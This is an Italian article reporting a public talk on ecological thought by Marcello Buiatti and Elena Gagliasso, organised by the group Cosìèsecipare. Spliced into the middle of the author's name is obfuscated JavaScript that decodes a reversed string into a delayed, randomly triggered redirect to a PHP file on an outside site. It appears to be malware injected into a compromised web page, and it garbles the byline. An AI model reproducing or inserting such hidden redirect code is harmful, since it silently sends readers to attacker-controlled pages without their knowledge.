Siamo tutti ecosistemi. Dal primo incontro Cosìèsecipare, ecco perché l'ecologia ci riguarda

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Aless (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andro Bezzi per l’Altracittà

Anche l’uomo è un ecosistema, che deve acquistare una maggiore consapevolezza di sé e dell’ambiente che lo circonda per responsabilizzarsi e armonizzare il suo rapporto con la natura, non oggetto passivo delle sue cure ma soggetto di un legame paritario che sembra essere dimenticato; è quello che emerso dalla discussione  “Introduzione al pensiero ecologista”, introdotta dal prof. Marcello Buiatti (Università di Firenze), esperto in ecosistemi e biodiversità e da Elena Gagliasso (Università La Sapienza), specializzata in Filosofia della scienza. Per introdurre il tema ai 60 partecipanti, i relatori hanno spiegato alcuni fondamentali riferimenti concettuali e storico-politici necessari ad orientarsi nel complesso territorio dell’ecologia.

L’immagine di ecosistema veicolata dai mass-media suggerisce una separatezza tra l’uomo e l’ambiente che ha intorno, visto come oggetto passivo dell’azione umana; ma già Darwin parlava di co-evoluzione tra diverse specie in un ambiente che a sua volta cambia e si adatta.
Un ecosistema si configura dunque come una inestricabile connessione di elementi, collegati l’un l’altro secondo diversi schemi, gerarchie, tipi di relazione. I legami che nascono sono quindi attivi: non può esistere isolamento, in un ecosistema complesso qualsiasi connessione ha determinate ripercussioni e il tutto risulta caratterizzato da una perenne apertura e imprevedibilità.

Per Buiatti, le relazioni sono talmente profonde che l’idea stessa di elemento, di individuo, viene meno. L’uomo è di per sé un’ecosistema, composto di cellule, organi, organismi batteri (oltre un chilo del nostro peso !) che coesistono in un equilibrio precario.
Nella cultura occidentale contemporanea si è affermata l’idea che il mondo – e l’uomo stesso – siano simili che possono essere governate ottimizzandone funzionamento e risultati, ma oggi stiamo riscoprendo che qualsiasi ecosistema (noi compresi!), per essere vitale, ha bisogno di mantenersi aperto, vario, irregolare e libero.

Tutti questi temi, sottolinea Gagliasso, sono oggi patrimonio comune di scienziati, umanisti, cittadini comuni; li ritroviamo in modo trasversale ovunque vi sia una sensibilità verso il futuro. Trenta anni fa si parlava di salvaguardia dell’ambiente e di sensibilità ecologica in modo prospettico, pensando a cosa sarebbe successo in futuro se non si fossero cambiati stili di vita e produzione. Oggi questo spazio prospettico si è schiacciato, il problema è il presente. Convivere responsabilmente con l’ecosistema che ci circonda dovrebbe essere una preoccupazione reale ed urgente, alla quale però il mondo politico e la comunità internazionale (come dimostra l’effettivo fallimento dei trattati o dei summit come Copenaghen 2009) non sembra prestare troppa attenzione. Del resto, le scadenze politiche di breve periodo mal si conciliano con impegni a lungo periodo che andrebbero a migliorare (o addirittura salvare) la nostra vita nei prossimi decenni. E, del resto, un cambiamento del sistema produttivo può iniziare solo ridiscutendo, individualmente e non,  quegli stili di vita cui la società dei consumi ci ha indotto ed abituato.

Le domande del pubblico sono state elaborate in 4 gruppi di lavoro, tramite la modalità del cooperative learning. Un aspetto saliente e ricorrente nelle osservazioni del pubblico è stato il problema dell’impegno verso l’ecosistema: perché farsi carico di problemi così vasti nello spazio e nel tempo, se la singola vita dell’individuo è così breve e, in alcuni casi, relativamente al sicuro?
Il primo e fondamentale passo verso una soluzione, suggeriscono Buiatti e Gagliasso, è proprio entrare in empatia con sé stessi e con l’ambiente che ci circonda; solo conoscendosi e rispettandosi in quanto esseri viventi potremo comprendere e migliorare i legami che abbiamo con il tutto che ci circonda.

La prossima conferenza organizzata da Cosìèsecipare, intitolata “Economia e Ambiente: due facce della stessa medaglia” si terrà domenica 13 febbraio alle 17, alla Palestra Kosen (via Confalonieri 20, zona Cure).
Parallelamente agli incontri-dibattito il gruppo ha anche organizzato una serie di proiezioni che si terranno presso il Circolo Gada in Via de’Macci 11: il primo appuntamento sarà martedì 8 febbraio con Food, inc. di R. Kenner (ore 21).

Per informazioni: www.facebook.com/cosiesecipare
cosiesecipare@gmail.com

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